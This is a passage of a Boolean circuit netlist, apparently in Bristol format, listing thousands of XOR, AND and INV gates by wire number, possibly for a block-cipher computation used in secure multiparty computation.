9571 9610 9561 AND +2 1 9560 9561 9498 XOR +2 1 9531 9484 9568 XOR +2 1 9566 9599 9558 AND +2 1 9558 9561 9513 XOR +2 1 9558 9559 9509 XOR +1 1 9513 9510 INV +2 1 9571 9606 9552 AND +2 1 9560 9552 9516 XOR +2 1 9569 9612 9550 AND +2 1 9566 9614 9549 AND +2 1 9549 9550 9543 XOR +2 1 9516 9543 9512 XOR +2 1 9528 9491 9574 XOR +2 1 9574 9603 9564 AND +2 1 9568 9613 9553 AND +2 1 9518 9481 9488 XOR +2 1 9485 9488 9570 XOR +2 1 9570 9611 9548 AND +2 1 9559 9548 9508 XOR +1 1 9508 9504 INV +2 1 9578 9586 9577 XOR +2 1 9577 34214 9563 AND +2 1 9563 9565 9544 XOR +2 1 9544 9512 9515 XOR +2 1 9577 9609 9554 AND +2 1 9574 9605 9555 AND +2 1 9555 9543 9525 XOR +2 1 9556 9525 9526 XOR +2 1 9564 9526 9530 XOR +2 1 9565 9530 9535 XOR +2 1 9535 9509 9616 XOR +2 1 9563 9530 9499 XOR +2 1 9498 9499 36218 XOR +1 1 9616 32818 INV +2 1 9568 9598 9562 AND +2 1 9561 9562 9547 XOR +2 1 9558 9547 9537 XOR +2 1 9554 9537 9503 XOR +1 1 9503 9500 INV +2 1 9547 9535 36219 XOR +2 1 9562 9553 9514 XOR +2 1 9559 9537 9497 XOR +2 1 9526 9497 36220 XOR +2 1 36220 32818 10043 XOR +2 1 35960 1443 34242 XOR +2 1 34240 34242 9754 XOR +2 1 34242 34244 9660 XOR +2 1 9570 9602 9557 AND +2 1 9553 9557 9529 XOR +1 1 9529 9507 INV +2 1 9507 9551 9506 XOR +2 1 9507 9512 9511 XOR +2 1 9510 9511 9617 XOR +2 1 9506 9544 9502 XOR +2 1 9525 9502 9501 XOR +2 1 9500 9501 36217 XOR +2 1 9550 9502 9505 XOR +2 1 9504 9505 9615 XOR +1 1 9617 32819 INV +1 1 9615 32824 INV +2 1 33044 9220 35946 XOR +2 1 35946 1457 34228 XOR +2 1 35945 1458 34227 XOR +2 1 34227 34229 27784 XOR +2 1 36036 36043 9384 XOR +2 1 9395 9384 9191 XOR +2 1 36047 9191 35963 XOR +2 1 35963 1440 34245 XOR +2 1 34245 34240 9751 XOR +2 1 34245 34239 9753 XOR +2 1 34242 34245 9752 XOR +2 1 9752 9741 9731 AND +2 1 9731 9659 9661 XOR +2 1 9657 9752 9744 XOR +2 1 34238 9744 9743 XOR +2 1 9443 9384 9230 XOR +2 1 33038 9230 35940 XOR +2 1 35940 1463 34222 XOR +2 1 34222 34228 27790 XOR +2 1 27784 27790 27873 XOR +2 1 34227 27790 27876 XOR +2 1 9752 9674 9748 XOR +2 1 9744 9748 9737 AND +2 1 9737 9660 9663 XOR +2 1 9663 9661 9667 XOR +2 1 34245 9667 9672 XOR +2 1 34238 34244 9664 XOR +2 1 9664 9659 9740 XOR +2 1 9514 9515 9618 XOR +1 1 9618 32820 INV +2 1 33170 9193 35961 XOR +2 1 35961 1442 34243 XOR +2 1 34243 9659 9738 XOR +2 1 9753 9738 9734 AND +2 1 9660 34243 9619 XOR +2 1 34238 9619 9749 XOR +2 1 9749 34238 9735 AND +2 1 34243 34245 9658 XOR +2 1 9660 9658 9620 XOR +2 1 9658 9664 9747 XOR +2 1 9658 9754 9739 XOR +2 1 9754 9739 9730 AND +2 1 9730 9731 9633 XOR +2 1 9633 9634 9680 XOR +2 1 9674 9747 9745 XOR +2 1 9745 9743 9736 AND +2 1 9734 9658 9662 XOR +2 1 9680 9662 9679 XOR +2 1 9657 9620 9742 XOR +2 1 9751 9742 9729 AND +2 1 9747 9740 9732 AND +2 1 9729 9732 9682 XOR +2 1 9662 9682 9636 XOR +2 1 9636 9661 9726 XOR +2 1 9730 9682 9676 XOR +2 1 34243 9664 9750 XOR +2 1 34239 9750 9746 XOR +2 1 9750 9746 9733 AND +2 1 9733 9676 9632 XOR +2 1 34239 9632 9720 XOR +2 1 9733 9679 9727 XOR +2 1 9729 9735 9686 XOR +2 1 9667 9686 9635 XOR +2 1 34243 9635 9678 XOR +2 1 9686 9658 9673 XOR +2 1 9730 9736 9681 XOR +2 1 9681 9672 9728 XOR +2 1 9681 9673 9725 XOR +2 1 9728 9727 9724 AND +2 1 9724 9726 9723 XOR +2 1 9724 9678 9719 XOR +2 1 9725 9723 9722 AND +2 1 9722 9678 9721 XOR +2 1 9722 9734 9627 XOR +2 1 9627 9663 9623 XOR +2 1 34245 9623 9626 XOR +2 1 9721 9740 9700 AND +2 1 9721 9747 9691 AND +2 1 9722 9672 9624 XOR +2 1 34243 9623 9622 XOR +2 1 9719 9720 9718 AND +2 1 9718 9676 9631 XOR +2 1 9718 9726 9717 XOR +2 1 9718 9735 9630 XOR +2 1 9630 9732 9625 XOR +2 1 9717 9749 9694 AND +2 1 9724 9718 9716 XOR +2 1 9717 34238 9703 AND +2 1 9726 9716 9715 AND +2 1 9715 9723 9713 XOR +2 1 9625 9626 9709 XOR +2 1 9709 9752 9690 AND +2 1 9715 9733 9685 XOR +2 1 34239 9685 9668 XOR +2 1 9668 9631 9714 XOR +2 1 9714 9745 9695 AND +2 1 9714 9743 9704 AND +2 1 9685 9679 9707 XOR +2 1 9707 9748 9696 AND +2 1 9721 9713 9712 AND +2 1 9712 9736 9629 XOR +2 1 9668 9629 9621 XOR +2 1 9621 9622 9706 XOR +2 1 9658 9621 9628 XOR +2 1 9625 9628 9710 XOR +2 1 9710 9742 9697 AND +2 1 9710 9751 9688 AND +2 1 9709 9741 9699 AND +2 1 9699 9688 9648 XOR +1 1 9648 9644 INV +2 1 9707 9744 9705 AND +2 1 9703 9705 9684 XOR +2 1 9712 9681 9671 XOR +2 1 9671 9624 9708 XOR +2 1 9708 9753 9693 AND +2 1 9693 9697 9669 XOR +1 1 9669 9647 INV +2 1 9671 9673 9711 XOR +2 1 9711 9750 9701 AND +2 1 9700 9701 9638 XOR +2 1 9711 9746 9692 AND +2 1 9700 9692 9656 XOR +2 1 9708 9738 9702 AND +2 1 9702 9693 9654 XOR +2 1 9701 9702 9687 XOR +2 1 9647 9691 9646 XOR +2 1 9646 9684 9642 XOR +2 1 9690 9642 9645 XOR +2 1 9644 9645 9755 XOR +1 1 9755 32828 INV +2 1 9706 9739 9698 AND +2 1 9698 9687 9677 XOR +2 1 9694 9677 9643 XOR +1 1 9643 9640 INV +2 1 9698 9701 9653 XOR +1 1 9653 9650 INV +2 1 9698 9699 9649 XOR +2 1 9699 9677 9637 XOR +2 1 9706 9754 9689 AND +2 1 9689 9690 9683 XOR +2 1 9656 9683 9652 XOR +2 1 9684 9652 9655 XOR +2 1 9654 9655 9758 XOR +2 1 9647 9652 9651 XOR +2 1 9650 9651 9757 XOR +1 1 9757 32822 INV +1 1 9758 32823 INV +2 1 9695 9683 9665 XOR +2 1 9696 9665 9666 XOR +2 1 9704 9666 9670 XOR +2 1 9703 9670 9639 XOR +2 1 9638 9639 36250 XOR +2 1 9705 9670 9675 XOR +2 1 9675 9649 9756 XOR +2 1 9687 9675 36251 XOR +2 1 9665 9642 9641 XOR +2 1 9640 9641 36249 XOR +2 1 9666 9637 36252 XOR +2 1 36237 36252 10159 XOR +2 1 10159 36250 9930 XOR +1 1 10159 9926 INV +2 1 9926 32823 9924 XOR +2 1 9926 36249 9927 XOR +1 1 9756 32821 INV +1 1 9384 33230 INV +2 1 33230 33037 9229 XOR +2 1 33230 36051 9206 XOR +2 1 33230 36035 9223 XOR +2 1 9206 9207 35955 XOR +2 1 35955 1448 34237 XOR +2 1 34235 34237 29184 XOR +2 1 29184 29280 29265 XOR +2 1 34234 34237 29278 XOR +2 1 29278 29200 29274 XOR +2 1 29184 29190 29273 XOR +2 1 29200 29273 29271 XOR +2 1 29183 29278 29270 XOR +2 1 34230 29270 29269 XOR +2 1 29186 29184 29146 XOR +2 1 29183 29146 29268 XOR +2 1 34237 34231 29279 XOR +2 1 34237 34232 29277 XOR +2 1 29270 29274 29263 AND +2 1 29263 29186 29189 XOR +2 1 29271 29269 29262 AND +2 1 29279 29264 29260 AND +2 1 29260 29184 29188 XOR +2 1 29273 29266 29258 AND +2 1 29278 29267 29257 AND +2 1 29257 29185 29187 XOR +2 1 29189 29187 29193 XOR +2 1 34237 29193 29198 XOR +2 1 29280 29265 29256 AND +2 1 29256 29262 29207 XOR +2 1 29207 29198 29254 XOR +2 1 29256 29257 29159 XOR +2 1 29159 29160 29206 XOR +2 1 29206 29188 29205 XOR +2 1 29259 29205 29253 XOR +2 1 29277 29268 29255 AND +2 1 29255 29258 29208 XOR +2 1 29255 29261 29212 XOR +2 1 29212 29184 29199 XOR +2 1 29207 29199 29251 XOR +2 1 29256 29208 29202 XOR +2 1 29188 29208 29162 XOR +2 1 29162 29187 29252 XOR +2 1 29193 29212 29161 XOR +2 1 34235 29161 29204 XOR +2 1 29259 29202 29158 XOR +2 1 34231 29158 29246 XOR +2 1 29254 29253 29250 AND +2 1 29250 29204 29245 XOR +2 1 29250 29252 29249 XOR +2 1 29251 29249 29248 AND +2 1 29248 29204 29247 XOR +2 1 29248 29260 29153 XOR +2 1 29153 29189 29149 XOR +2 1 34237 29149 29152 XOR +2 1 29248 29198 29150 XOR +2 1 34235 29149 29148 XOR +2 1 29245 29246 29244 AND +2 1 29244 29252 29243 XOR +2 1 29250 29244 29242 XOR +2 1 29244 29202 29157 XOR +2 1 29244 29261 29156 XOR +2 1 29156 29258 29151 XOR +2 1 29151 29152 29235 XOR +2 1 29252 29242 29241 AND +2 1 29241 29249 29239 XOR +2 1 29241 29259 29211 XOR +2 1 29211 29205 29233 XOR +2 1 34231 29211 29194 XOR +2 1 29194 29157 29240 XOR +2 1 29247 29239 29238 AND +2 1 29238 29207 29197 XOR +2 1 29197 29199 29237 XOR +2 1 29238 29262 29155 XOR +2 1 29194 29155 29147 XOR +2 1 29184 29147 29154 XOR +2 1 29151 29154 29236 XOR +2 1 29197 29150 29234 XOR +2 1 29147 29148 29232 XOR +2 1 29233 29270 29231 AND +2 1 29240 29269 29230 AND +2 1 29243 34230 29229 AND +2 1 29229 29231 29210 XOR +2 1 29234 29264 29228 AND +2 1 29237 29276 29227 AND +2 1 29227 29228 29213 XOR +2 1 29247 29266 29226 AND +2 1 29226 29227 29164 XOR +2 1 29235 29267 29225 AND +2 1 29232 29265 29224 AND +2 1 29224 29213 29203 XOR +2 1 29224 29227 29179 XOR +1 1 29179 29176 INV +2 1 29224 29225 29175 XOR +2 1 29225 29203 29163 XOR +2 1 29236 29268 29223 AND +2 1 29233 29274 29222 AND +2 1 29240 29271 29221 AND +2 1 29243 29275 29220 AND +2 1 29220 29203 29169 XOR +1 1 29169 29166 INV +2 1 29234 29279 29219 AND +2 1 29219 29223 29195 XOR +2 1 29228 29219 29180 XOR +1 1 29195 29173 INV +2 1 29237 29272 29218 AND +2 1 29226 29218 29182 XOR +2 1 29247 29273 29217 AND +2 1 29173 29217 29172 XOR +2 1 29172 29210 29168 XOR +2 1 29235 29278 29216 AND +2 1 29216 29168 29171 XOR +2 1 29232 29280 29215 AND +2 1 29215 29216 29209 XOR +2 1 29221 29209 29191 XOR +2 1 29222 29191 29192 XOR +2 1 29230 29192 29196 XOR +2 1 29231 29196 29201 XOR +2 1 29213 29201 36264 XOR +2 1 29182 29209 29178 XOR +2 1 29210 29178 29181 XOR +2 1 29180 29181 29284 XOR +2 1 29173 29178 29177 XOR +2 1 29176 29177 29283 XOR +2 1 29201 29175 29282 XOR +2 1 29191 29168 29167 XOR +2 1 29166 29167 36262 XOR +2 1 36262 36266 10167 XOR +2 1 29229 29196 29165 XOR +2 1 29164 29165 36263 XOR +2 1 29192 29163 36265 XOR +2 1 36265 36269 10149 XOR +2 1 29236 29277 29214 AND +2 1 29225 29214 29174 XOR +1 1 29174 29170 INV +2 1 29170 29171 29281 XOR +2 1 10167 33154 9956 XOR +2 1 36264 36263 9955 XOR +2 1 10184 36264 10118 XOR +2 1 10149 36267 9954 XOR +2 1 9954 9955 10221 XOR +2 1 36264 36268 10166 XOR +2 1 10175 10166 10146 XOR +2 1 33230 36034 9225 XOR +2 1 9224 9225 35943 XOR +2 1 35943 1460 34225 XOR +2 1 34225 34224 27760 XOR +2 1 9222 9223 35944 XOR +2 1 35944 1459 34226 XOR +2 1 34226 34228 27786 XOR +2 1 34226 34229 27878 XOR +2 1 34224 34226 27880 XOR +2 1 27784 27880 27865 XOR +2 1 27786 27784 27746 XOR +2 1 27786 34227 27745 XOR +2 1 34222 27745 27875 XOR +2 1 27875 34222 27861 AND +2 1 27880 27865 27856 AND +2 1 9228 9229 9227 XOR +1 1 9227 35941 INV +2 1 35941 1462 34223 XOR +2 1 34223 34225 27783 XOR +2 1 34224 27783 27785 XOR +2 1 34228 27785 27867 XOR +2 1 34227 27785 27864 XOR +2 1 27790 27785 27866 XOR +2 1 34223 27876 27872 XOR +2 1 27783 27878 27870 XOR +2 1 34222 27870 27869 XOR +2 1 34223 34224 27800 XOR +2 1 27800 27873 27871 XOR +2 1 27878 27800 27874 XOR +2 1 27783 27746 27868 XOR +2 1 34229 34223 27879 XOR +2 1 27870 27874 27863 AND +2 1 27863 27786 27789 XOR +2 1 27871 27869 27862 AND +2 1 27856 27862 27807 XOR +2 1 27879 27864 27860 AND +2 1 27860 27784 27788 XOR +2 1 27876 27872 27859 AND +2 1 27873 27866 27858 AND +2 1 27878 27867 27857 AND +2 1 27857 27785 27787 XOR +2 1 27789 27787 27793 XOR +2 1 34229 27793 27798 XOR +2 1 27807 27798 27854 XOR +2 1 27856 27857 27759 XOR +2 1 27759 27760 27806 XOR +2 1 27806 27788 27805 XOR +2 1 27859 27805 27853 XOR +2 1 27877 27868 27855 AND +2 1 27855 27858 27808 XOR +2 1 27855 27861 27812 XOR +2 1 27812 27784 27799 XOR +2 1 27807 27799 27851 XOR +2 1 27856 27808 27802 XOR +2 1 27788 27808 27762 XOR +2 1 27762 27787 27852 XOR +2 1 27793 27812 27761 XOR +2 1 34227 27761 27804 XOR +2 1 27859 27802 27758 XOR +2 1 34223 27758 27846 XOR +2 1 27854 27853 27850 AND +2 1 27850 27804 27845 XOR +2 1 27850 27852 27849 XOR +2 1 27851 27849 27848 AND +2 1 27848 27804 27847 XOR +2 1 27848 27860 27753 XOR +2 1 27753 27789 27749 XOR +2 1 34229 27749 27752 XOR +2 1 27848 27798 27750 XOR +2 1 34227 27749 27748 XOR +2 1 27845 27846 27844 AND +2 1 27844 27852 27843 XOR +2 1 27850 27844 27842 XOR +2 1 27844 27802 27757 XOR +2 1 27844 27861 27756 XOR +2 1 27756 27858 27751 XOR +2 1 27751 27752 27835 XOR +2 1 27852 27842 27841 AND +2 1 27841 27849 27839 XOR +2 1 27841 27859 27811 XOR +2 1 27811 27805 27833 XOR +2 1 34223 27811 27794 XOR +2 1 27794 27757 27840 XOR +2 1 27847 27839 27838 AND +2 1 27838 27807 27797 XOR +2 1 27797 27799 27837 XOR +2 1 27838 27862 27755 XOR +2 1 27794 27755 27747 XOR +2 1 27784 27747 27754 XOR +2 1 27751 27754 27836 XOR +2 1 27797 27750 27834 XOR +2 1 27747 27748 27832 XOR +2 1 27833 27870 27831 AND +2 1 27840 27869 27830 AND +2 1 27843 34222 27829 AND +2 1 27829 27831 27810 XOR +2 1 27834 27864 27828 AND +2 1 27837 27876 27827 AND +2 1 27827 27828 27813 XOR +2 1 27847 27866 27826 AND +2 1 27826 27827 27764 XOR +2 1 27835 27867 27825 AND +2 1 27832 27865 27824 AND +2 1 27824 27813 27803 XOR +2 1 27824 27827 27779 XOR +1 1 27779 27776 INV +2 1 27824 27825 27775 XOR +2 1 27825 27803 27763 XOR +2 1 27836 27868 27823 AND +2 1 27833 27874 27822 AND +2 1 27840 27871 27821 AND +2 1 27843 27875 27820 AND +2 1 27820 27803 27769 XOR +1 1 27769 27766 INV +2 1 27834 27879 27819 AND +2 1 27819 27823 27795 XOR +2 1 27828 27819 27780 XOR +1 1 27795 27773 INV +2 1 27837 27872 27818 AND +2 1 27826 27818 27782 XOR +2 1 27847 27873 27817 AND +2 1 27773 27817 27772 XOR +2 1 27772 27810 27768 XOR +2 1 27835 27878 27816 AND +2 1 27816 27768 27771 XOR +2 1 27832 27880 27815 AND +2 1 27815 27816 27809 XOR +2 1 27821 27809 27791 XOR +2 1 27822 27791 27792 XOR +2 1 27830 27792 27796 XOR +2 1 27831 27796 27801 XOR +2 1 27813 27801 36203 XOR +2 1 27782 27809 27778 XOR +2 1 27810 27778 27781 XOR +2 1 27780 27781 27884 XOR +2 1 27773 27778 27777 XOR +2 1 27776 27777 27883 XOR +2 1 27801 27775 27882 XOR +2 1 33090 27882 10007 XOR +2 1 27791 27768 27767 XOR +2 1 27766 27767 36201 XOR +2 1 27829 27796 27765 XOR +2 1 27764 27765 36202 XOR +2 1 27792 27763 36206 XOR +2 1 36206 36211 10157 XOR +1 1 10157 10091 INV +2 1 27836 27877 27814 AND +2 1 27825 27814 27774 XOR +1 1 27774 27770 INV +2 1 27770 27771 27881 XOR +1 1 27882 36205 INV +1 1 27881 36204 INV +2 1 36214 27881 10024 XOR +2 1 10157 36214 9940 XOR +2 1 36209 36202 9941 XOR +2 1 9940 9941 10227 XOR +2 1 36210 36203 10085 XOR +2 1 10091 36213 10090 XOR +2 1 32826 27882 10081 XOR +2 1 36201 36208 10195 XOR +2 1 32825 27881 10083 XOR +2 1 36213 36203 9904 XOR +2 1 26622 36206 9987 XOR +1 1 10195 10078 INV +1 1 10149 10246 INV +2 1 10246 33082 10140 XOR +2 1 10246 36254 10109 XOR +1 1 27884 33117 INV +2 1 33117 32827 10196 XOR +2 1 10196 10155 10079 XOR +1 1 27883 33124 INV +2 1 10091 33124 10095 XOR +2 1 33124 36207 10197 XOR +1 1 29282 33145 INV +2 1 33145 33082 10172 XOR +2 1 10184 10172 10142 XOR +1 1 29283 33146 INV +2 1 10246 33146 10112 XOR +2 1 33146 33083 10179 XOR +1 1 29284 33147 INV +2 1 33147 33084 10199 XOR +2 1 10199 10161 9958 XOR +1 1 29281 33152 INV +2 1 33145 33152 10105 XOR +1 1 8895 33248 INV +2 1 33248 32807 8883 XOR +2 1 33248 35861 8878 XOR +2 1 8877 8878 35774 XOR +2 1 35774 532 34129 XOR +2 1 34129 34128 28040 XOR +2 1 33248 35852 8696 XOR +2 1 8696 8697 8967 XOR +2 1 8967 8911 35775 XOR +2 1 35775 531 34130 XOR +2 1 34130 34132 28066 XOR +2 1 34130 34133 28158 XOR +2 1 34128 34130 28160 XOR +2 1 28064 28160 28145 XOR +2 1 28066 28064 28026 XOR +2 1 28066 34131 28025 XOR +2 1 34126 28025 28155 XOR +2 1 28155 34126 28141 AND +2 1 28160 28145 28136 AND +2 1 8882 8883 8881 XOR +1 1 8881 35772 INV +2 1 35772 534 34127 XOR +2 1 34127 34129 28063 XOR +2 1 34128 28063 28065 XOR +2 1 34132 28065 28147 XOR +2 1 34131 28065 28144 XOR +2 1 28070 28065 28146 XOR +2 1 34127 28156 28152 XOR +2 1 28063 28158 28150 XOR +2 1 34126 28150 28149 XOR +2 1 34127 34128 28080 XOR +2 1 28080 28153 28151 XOR +2 1 28158 28080 28154 XOR +2 1 28063 28026 28148 XOR +2 1 34133 34127 28159 XOR +2 1 28150 28154 28143 AND +2 1 28143 28066 28069 XOR +2 1 28151 28149 28142 AND +2 1 28136 28142 28087 XOR +2 1 28159 28144 28140 AND +2 1 28140 28064 28068 XOR +2 1 28156 28152 28139 AND +2 1 28153 28146 28138 AND +2 1 28158 28147 28137 AND +2 1 28137 28065 28067 XOR +2 1 28069 28067 28073 XOR +2 1 34133 28073 28078 XOR +2 1 28087 28078 28134 XOR +2 1 28136 28137 28039 XOR +2 1 28039 28040 28086 XOR +2 1 28086 28068 28085 XOR +2 1 28139 28085 28133 XOR +2 1 28157 28148 28135 AND +2 1 28135 28138 28088 XOR +2 1 28135 28141 28092 XOR +2 1 28092 28064 28079 XOR +2 1 28087 28079 28131 XOR +2 1 28136 28088 28082 XOR +2 1 28068 28088 28042 XOR +2 1 28042 28067 28132 XOR +2 1 28073 28092 28041 XOR +2 1 34131 28041 28084 XOR +2 1 28139 28082 28038 XOR +2 1 34127 28038 28126 XOR +2 1 28134 28133 28130 AND +2 1 28130 28084 28125 XOR +2 1 28130 28132 28129 XOR +2 1 28131 28129 28128 AND +2 1 28128 28084 28127 XOR +2 1 28128 28140 28033 XOR +2 1 28033 28069 28029 XOR +2 1 34133 28029 28032 XOR +2 1 28128 28078 28030 XOR +2 1 34131 28029 28028 XOR +2 1 28125 28126 28124 AND +2 1 28124 28132 28123 XOR +2 1 28130 28124 28122 XOR +2 1 28124 28082 28037 XOR +2 1 28124 28141 28036 XOR +2 1 28036 28138 28031 XOR +2 1 28031 28032 28115 XOR +2 1 28132 28122 28121 AND +2 1 28121 28129 28119 XOR +2 1 28121 28139 28091 XOR +2 1 28091 28085 28113 XOR +2 1 34127 28091 28074 XOR +2 1 28074 28037 28120 XOR +2 1 28127 28119 28118 AND +2 1 28118 28087 28077 XOR +2 1 28077 28079 28117 XOR +2 1 28118 28142 28035 XOR +2 1 28074 28035 28027 XOR +2 1 28064 28027 28034 XOR +2 1 28031 28034 28116 XOR +2 1 28077 28030 28114 XOR +2 1 28027 28028 28112 XOR +2 1 28113 28150 28111 AND +2 1 28120 28149 28110 AND +2 1 28123 34126 28109 AND +2 1 28109 28111 28090 XOR +2 1 28114 28144 28108 AND +2 1 28117 28156 28107 AND +2 1 28107 28108 28093 XOR +2 1 28127 28146 28106 AND +2 1 28106 28107 28044 XOR +2 1 28115 28147 28105 AND +2 1 28112 28145 28104 AND +2 1 28104 28093 28083 XOR +2 1 28104 28107 28059 XOR +1 1 28059 28056 INV +2 1 28104 28105 28055 XOR +2 1 28105 28083 28043 XOR +2 1 28116 28148 28103 AND +2 1 28113 28154 28102 AND +2 1 28120 28151 28101 AND +2 1 28123 28155 28100 AND +2 1 28100 28083 28049 XOR +1 1 28049 28046 INV +2 1 28114 28159 28099 AND +2 1 28099 28103 28075 XOR +2 1 28108 28099 28060 XOR +1 1 28075 28053 INV +2 1 28117 28152 28098 AND +2 1 28106 28098 28062 XOR +2 1 28127 28153 28097 AND +2 1 28053 28097 28052 XOR +2 1 28052 28090 28048 XOR +2 1 28115 28158 28096 AND +2 1 28096 28048 28051 XOR +2 1 28112 28160 28095 AND +2 1 28095 28096 28089 XOR +2 1 28101 28089 28071 XOR +2 1 28102 28071 28072 XOR +2 1 28110 28072 28076 XOR +2 1 28111 28076 28081 XOR +2 1 28093 28081 36023 XOR +2 1 36018 36023 9411 XOR +2 1 28062 28089 28058 XOR +2 1 28090 28058 28061 XOR +2 1 28060 28061 28164 XOR +2 1 28053 28058 28057 XOR +2 1 28056 28057 28163 XOR +2 1 28081 28055 28162 XOR +2 1 28071 28048 28047 XOR +2 1 28046 28047 36021 XOR +2 1 36025 36021 9152 XOR +2 1 28109 28076 28045 XOR +2 1 28044 28045 36022 XOR +2 1 28072 28043 36024 XOR +2 1 36024 9291 35907 XOR +2 1 28116 28157 28094 AND +2 1 28105 28094 28054 XOR +1 1 28054 28050 INV +2 1 28050 28051 28161 XOR +1 1 28163 36020 INV +2 1 9411 9398 9276 XOR +2 1 33166 9276 35913 XOR +2 1 28163 33161 9138 XOR +2 1 36023 36017 9144 XOR +2 1 9143 9144 9469 XOR +2 1 36024 36028 9390 XOR +1 1 9390 9155 INV +2 1 35913 1490 34195 XOR +2 1 9137 9138 9471 XOR +2 1 9469 9403 35904 XOR +2 1 35904 1499 34186 XOR +2 1 9155 36031 9153 XOR +2 1 9390 36030 9151 XOR +1 1 9411 9253 INV +2 1 33168 36020 9422 XOR +2 1 9422 9420 9260 XOR +2 1 9422 9413 9282 XOR +2 1 36016 9282 35910 XOR +2 1 35910 1493 34192 XOR +2 1 9252 36023 9267 XOR +2 1 33180 28163 9270 XOR +2 1 36021 33168 9297 XOR +2 1 9296 9297 35902 XOR +2 1 9260 9261 35925 XOR +2 1 9471 9416 35901 XOR +2 1 35901 1502 34183 XOR +2 1 35925 1478 34207 XOR +2 1 9390 32817 9149 XOR +2 1 9151 9152 9465 XOR +2 1 35902 1501 34184 XOR +2 1 34183 34184 29340 XOR +2 1 34184 34186 29420 XOR +2 1 36017 36022 9415 XOR +2 1 9415 9413 9257 XOR +1 1 9415 9279 INV +2 1 9257 9258 35927 XOR +2 1 9279 9403 9277 XOR +2 1 35927 1476 34209 XOR +2 1 34207 34209 26383 XOR +2 1 9465 9415 35919 XOR +2 1 35919 1484 34201 XOR +1 1 36022 9142 INV +2 1 36026 9142 9154 XOR +2 1 9142 36016 9141 XOR +2 1 9153 9154 9464 XOR +2 1 9464 9411 35920 XOR +2 1 35920 1483 34202 XOR +2 1 9140 9141 9470 XOR +2 1 9470 9408 35903 XOR +2 1 35903 1500 34185 XOR +2 1 34183 34185 29323 XOR +2 1 34184 29323 29325 XOR +2 1 34185 34184 29300 XOR +2 1 9253 9408 9250 XOR +2 1 9250 9251 35928 XOR +2 1 35928 1475 34210 XOR +2 1 35907 1496 34189 XOR +2 1 34186 34189 29418 XOR +2 1 29418 29340 29414 XOR +2 1 29323 29418 29410 XOR +2 1 34189 34183 29419 XOR +2 1 34189 34184 29417 XOR +2 1 29410 29414 29403 AND +2 1 36016 36021 9418 XOR +2 1 9418 9416 9259 XOR +1 1 9418 9271 INV +2 1 9271 9408 9280 XOR +2 1 9271 36029 9269 XOR +2 1 9269 9270 35918 XOR +2 1 35918 1485 34200 XOR +2 1 34200 34202 23823 XOR +2 1 34201 34200 23703 XOR +2 1 36019 36024 9383 XOR +2 1 9383 32816 9246 XOR +2 1 9420 9383 9286 XOR +2 1 33161 9286 35908 XOR +2 1 35908 1495 34190 XOR +2 1 9246 9247 35931 XOR +2 1 35931 1472 34213 XOR +2 1 34213 34207 26479 XOR +2 1 34210 34213 26478 XOR +2 1 26383 26478 26470 XOR +1 1 9383 9477 INV +2 1 9477 36018 9278 XOR +2 1 9277 9278 35912 XOR +2 1 9477 36017 9281 XOR +2 1 9280 9281 35911 XOR +2 1 35912 1491 34194 XOR +2 1 34192 34194 25500 XOR +2 1 9477 33168 9285 XOR +2 1 35911 1492 34193 XOR +2 1 34193 34192 25380 XOR +1 1 28162 33121 INV +2 1 33121 33179 9400 XOR +2 1 9400 9383 9263 XOR +2 1 9400 9398 9248 XOR +2 1 33167 9248 35930 XOR +2 1 35930 1473 34212 XOR +2 1 34210 34212 26386 XOR +2 1 9400 32816 9292 XOR +2 1 36032 9263 35923 XOR +2 1 35923 1480 34205 XOR +2 1 34205 34200 23820 XOR +2 1 9292 9293 35906 XOR +2 1 35906 1497 34188 XOR +2 1 34188 29325 29407 XOR +2 1 34186 34188 29326 XOR +2 1 29403 29326 29329 XOR +2 1 29418 29407 29397 AND +2 1 29397 29325 29327 XOR +2 1 29329 29327 29333 XOR +2 1 34189 29333 29338 XOR +2 1 9382 33121 9273 XOR +2 1 9273 9274 35915 XOR +2 1 35915 1488 34197 XOR +2 1 34197 34192 25497 XOR +2 1 34194 34197 25498 XOR +2 1 34195 34197 25404 XOR +1 1 28164 33122 INV +2 1 33173 33122 9150 XOR +2 1 33161 33122 9423 XOR +2 1 9423 9416 9284 XOR +2 1 9284 9285 9283 XOR +1 1 9283 35909 INV +2 1 35909 1494 34191 XOR +2 1 34191 34192 25420 XOR +2 1 34197 34191 25499 XOR +2 1 34191 34193 25403 XOR +2 1 34192 25403 25405 XOR +2 1 25403 25498 25490 XOR +2 1 25498 25420 25494 XOR +2 1 25490 25494 25483 AND +2 1 34190 25490 25489 XOR +2 1 9423 9382 9262 XOR +2 1 33173 9262 35924 XOR +2 1 35924 1479 34206 XOR +2 1 34206 26470 26469 XOR +2 1 34206 34212 26390 XOR +2 1 9149 9150 9466 XOR +2 1 9466 9422 35917 XOR +2 1 35917 1486 34199 XOR +2 1 34199 34201 23726 XOR +2 1 34199 34200 23743 XOR +2 1 34205 34199 23822 XOR +2 1 34200 23726 23728 XOR +2 1 34195 25405 25484 XOR +2 1 25499 25484 25480 AND +2 1 25480 25404 25408 XOR +2 1 9423 9390 9272 XOR +2 1 32814 9272 35916 XOR +2 1 35916 1487 34198 XOR +2 1 33122 9298 35900 XOR +2 1 35900 1503 34182 XOR +2 1 34182 29410 29409 XOR +2 1 34182 34188 29330 XOR +2 1 29330 29325 29406 XOR +2 1 34202 34205 23821 XOR +2 1 23726 23821 23813 XOR +2 1 34198 23813 23812 XOR +1 1 28161 33128 INV +2 1 33128 36018 9295 XOR +2 1 9294 9295 35905 XOR +2 1 35905 1498 34187 XOR +2 1 34187 29325 29404 XOR +2 1 34187 34189 29324 XOR +2 1 29324 29420 29405 XOR +2 1 29324 29330 29413 XOR +2 1 29340 29413 29411 XOR +2 1 34187 29330 29416 XOR +2 1 34183 29416 29412 XOR +2 1 29326 29324 29286 XOR +2 1 29323 29286 29408 XOR +2 1 29326 34187 29285 XOR +2 1 34182 29285 29415 XOR +2 1 29411 29409 29402 AND +2 1 29415 34182 29401 AND +2 1 29419 29404 29400 AND +2 1 29400 29324 29328 XOR +2 1 29416 29412 29399 AND +2 1 29413 29406 29398 AND +2 1 29420 29405 29396 AND +2 1 29396 29402 29347 XOR +2 1 29347 29338 29394 XOR +2 1 29396 29397 29299 XOR +2 1 29299 29300 29346 XOR +2 1 29346 29328 29345 XOR +2 1 29399 29345 29393 XOR +2 1 29417 29408 29395 AND +2 1 29395 29398 29348 XOR +2 1 29395 29401 29352 XOR +2 1 29352 29324 29339 XOR +2 1 29347 29339 29391 XOR +2 1 29396 29348 29342 XOR +2 1 29328 29348 29302 XOR +2 1 29302 29327 29392 XOR +2 1 29333 29352 29301 XOR +2 1 34187 29301 29344 XOR +2 1 29399 